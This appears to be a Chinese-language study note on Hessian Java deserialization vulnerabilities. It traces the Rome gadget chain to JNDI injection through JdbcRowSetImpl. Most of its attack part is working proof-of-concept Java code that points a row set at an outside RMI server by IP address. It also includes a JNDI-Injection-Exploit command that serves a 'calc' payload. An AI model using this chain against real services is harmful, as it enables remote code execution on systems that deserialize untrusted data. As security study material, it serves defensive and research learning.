hessian
参考miku的(●´3`●)やれやれだぜ (viewofthai.link)
和fmyyy的Hessian反序列化漏洞 - Twings (gitee.io)
简介
mikugiegie:
Hessian 是一个轻量级的 Java 反序列化框架,和 Java 原生的序列化类似,相比起来 Hessian 更加高效并且非常适合二进制数据传输。
简单理解就是hessian可以实现序列化功能,类似于fastjson。然后也有关于他的反序列化漏洞
环境搭建
hessianMaven Repository: com.caucho » hessian » 4.0.63 (mvnrepository.com)
<!-- https://mvnrepository.com/artifact/com.caucho/hessian --> <dependency> <groupId>com.caucho</groupId> <artifactId>hessian</artifactId> <version>4.0.63</version> </dependency>
maven搭建
了解一下hessian序列化和反序列化
student.java
import java.io.Serializable; public class Student implements Serializable { private String name; public static String hobby = "eat"; transient private String address; public void setName(String name) { this.name = name; } public static void setHobby(String hobby) { Student.hobby = hobby; } public void setAddress(String address) { this.address = address; } public String getName() { return name; } public static String getHobby() { return hobby; } public String getAddress() { return address; } }
demo.java
import com.caucho.hessian.io.Hessian2Input; import com.caucho.hessian.io.Hessian2Output; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; public class demo { public static void main(String[] args) throws Exception{ Student stu = new Student(); stu.setAddress("A"); stu.setName("thaiii"); //序列化开始 ByteArrayOutputStream os = new ByteArrayOutputStream(); Hessian2Output output = new Hessian2Output(os); output.writeObject(stu); output.close(); //序列化结束 Student.hobby = "drink"; //反序列化开始 ByteArrayInputStream bis = new ByteArrayInputStream(os.toByteArray()); Hessian2Input input = new Hessian2Input(bis); Student student = (Student) input.readObject(); //反序列化结束 System.out.println(student.getAddress()); System.out.println(student.getName()); System.out.println(stu.getHobby()); } }
结论: 静态属性不能被序列化 transient 关键字修饰的属性不能被序列化
了解一下hessian
我们看一下Map的MapDeserializer.readMap
put方法让我们想起之前cc6链子开头中的 put
于是问题转化找到一条hashcode为开头的链子。
由于marshalsec 工具中已经集成了 Hessian 的 5 个 Gadgets,可以使用这个工具直接进行漏洞利用。
下面讲讲几条链子
Gadgets - Rome
依赖
<dependency> <groupId>com.rometools</groupId> <artifactId>rome</artifactId> <version>1.7.0</version> </dependency> <dependency> <groupId>org.slf4j</groupId> <artifactId>slf4j-nop</artifactId> <version>1.7.24</version> </dependency>
链子
HashMap.put -> hash EqualsBean.hashCode -> beanHashCode ToStringBean.toString -> getter.invoke JdbcRowSetImpl.getDatabaseMetaData -> connect JNDI 注入
对照一下rome(yso版本)
JdbcRowSetImpl.connect
由于调用了lookup函数,如果参数可控的话可以用来打rmi,jndi链子
进入getDataSourceName
查看dataSource
注释说支持jndi等
我们回去找一下哪里调用了conncet
JdbcRowSetImpl.getDatabaseMetaData
看到了prepare,但是太长了
看到了getDatabaseMetaData
public DatabaseMetaData getDatabaseMetaData() throws SQLException { Connection var1 = this.connect(); return var1.getMetaData(); }
刚好是getter方法
找一下BaseRowSet的构造函数
尽管这个没什么用,但是我们看到了这个setDataSourceName
就可以构造链子了
先写个测试demo
import com.sun.rowset.JdbcRowSetImpl; import java.lang.reflect.Field; public class demo { public static void setValue(Object target, String name, Object value) throws Exception { Class c = target.getClass(); Field field = c.getDeclaredField(name); field.setAccessible(true); field.set(target,value); } public static void main(String[] args) throws Exception{ JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); jdbcRowSet.setDataSourceName("rmi://xxxxxx:xx/xxx"); jdbcRowSet.getDatabaseMetaData(); } }
至于这个 rmi://xxxxxx:xx/xxx 可以使用工具https://github.com/welk1n/JNDI-Injection-Exploit/
开启1099,8180,1389,(尤其是前两个),在target目录下使用
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A "8.129.42.140"
然后运行demo访问rmi
ToStringBean.toString()
里面的有参方法有个invoke可以实现任意函数调用
之前说过
也就是说可以类比一下,pReadMethod的name是getDatabaseMetaData,然后this._obj是JdbcRowSetImpl
poc1
import com.rometools.rome.feed.impl.ToStringBean; import com.sun.rowset.JdbcRowSetImpl; import java.lang.reflect.Field; public class demo { public static void setValue(Object target, String name, Object value) throws Exception { Class c = target.getClass(); Field field = c.getDeclaredField(name); field.setAccessible(true); field.set(target,value); } public static void main(String[] args) throws Exception{ JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); jdbcRowSet.setDataSourceName("rmi://8.129.42.140:1099/rqqz1p"); // jdbcRowSet.getDatabaseMetaData(); ToStringBean toStringbean = new ToStringBean(jdbcRowSet.getClass(), jdbcRowSet); toStringbean.toString(); } }
equalsBean.hashCode
poc
import com.rometools.rome.feed.impl.EqualsBean; import com.rometools.rome.feed.impl.ToStringBean; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.rowset.JdbcRowSetImpl; import javax.sql.rowset.JdbcRowSet; import javax.xml.transform.Templates; import java.lang.reflect.Field; import java.util.HashMap; public class demo { public static void setValue(Object target, String name, Object value) throws Exception { Class c = target.getClass(); Field field = c.getDeclaredField(name); field.setAccessible(true); field.set(target,value); } public static void main(String[] args) throws Exception{ JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); jdbcRowSet.setDataSourceName("rmi://8.129.42.140:1099/rqqz1p"); // jdbcRowSet.getDatabaseMetaData(); ToStringBean toStringbean = new ToStringBean(jdbcRowSet.getClass(), jdbcRowSet); // toStringbean.toString(); EqualsBean equalsBean = new EqualsBean(toStringbean.getClass(), toStringbean); equalsBean.hashCode(); } }
poc
import com.rometools.rome.feed.impl.EqualsBean; import com.rometools.rome.feed.impl.ToStringBean; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.rowset.JdbcRowSetImpl; import javax.sql.rowset.JdbcRowSet; import javax.xml.transform.Templates; import java.lang.reflect.Field; import java.util.HashMap; public class demo { public static void setValue(Object target, String name, Object value) throws Exception { Class c = target.getClass(); Field field = c.getDeclaredField(name); field.setAccessible(true); field.set(target,value); } public static void main(String[] args) throws Exception{ JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); jdbcRowSet.setDataSourceName("rmi://8.129.42.140:1099/rqqz1p"); // jdbcRowSet.getDatabaseMetaData(); ToStringBean toStringbean = new ToStringBean(jdbcRowSet.getClass(), jdbcRowSet); // toStringbean.toString(); EqualsBean equalsBean = new EqualsBean(toStringbean.getClass(), toStringbean); // equalsBean.hashCode(); HashMap<Object,Object> map = new HashMap<>(); map.put(equalsBean, "bbb"); setValue(toStringbean, "_obj", jdbcRowSet); // serialize(map); // unserialize("ser.bin"); } }
序列化入口
hessai和别人不一样,文章开头说了,炮制一下
原本
//序列化开始 ByteArrayOutputStream os = new ByteArrayOutputStream(); Hessian2Output output = new Hessian2Output(os); output.writeObject(stu); //对象写在这 output.close(); //序列化结束 Student.hobby = "drink"; //反序列化开始 ByteArrayInputStream bis = new ByteArrayInputStream(os.toByteArray()); Hessian2Input input = new Hessian2Input(bis); Student student = (Student) input.readObject(); //反序列化结束
炮制
//序列化开始 ByteArrayOutputStream os = new ByteArrayOutputStream(); Hessian2Output output = new Hessian2Output(os); output.writeObject(map); //对象写在这 output.close(); //序列化结束 //反序列化开始 ByteArrayInputStream bis = new ByteArrayInputStream(os.toByteArray()); Hessian2Input input = new Hessian2Input(bis); input.readObject(); //反序列化结束
最终poc
import com.caucho.hessian.io.Hessian2Input; import com.caucho.hessian.io.Hessian2Output; import com.rometools.rome.feed.impl.EqualsBean; import com.rometools.rome.feed.impl.ToStringBean; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.rowset.JdbcRowSetImpl; import javax.sql.rowset.JdbcRowSet; import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.lang.reflect.Field; import java.util.HashMap; public class demo { public static void setValue(Object target, String name, Object value) throws Exception { Class c = target.getClass(); Field field = c.getDeclaredField(name); field.setAccessible(true); field.set(target,value); } public static void main(String[] args) throws Exception{ JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); jdbcRowSet.setDataSourceName("rmi://8.129.42.140:1099/rqqz1p"); // jdbcRowSet.getDatabaseMetaData(); ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, new JdbcRowSetImpl()); // toStringBean.toString(); EqualsBean equalsBean = new EqualsBean(toStringBean.getClass(), toStringBean); // equalsBean.hashCode(); HashMap<Object,Object> map = new HashMap<>(); map.put(equalsBean, "bbb"); setValue(toStringBean, "obj", jdbcRowSet); //序列化开始 ByteArrayOutputStream os = new ByteArrayOutputStream(); Hessian2Output output = new Hessian2Output(os); output.writeObject(map); //对象写在这 output.close(); //序列化结束 //反序列化开始 ByteArrayInputStream bis = new ByteArrayInputStream(os.toByteArray()); Hessian2Input input = new Hessian2Input(bis); input.readObject(); //反序列化结束 } }
注意jdk版本差异,有时候_obj要改为obj,否则加载的时候会报错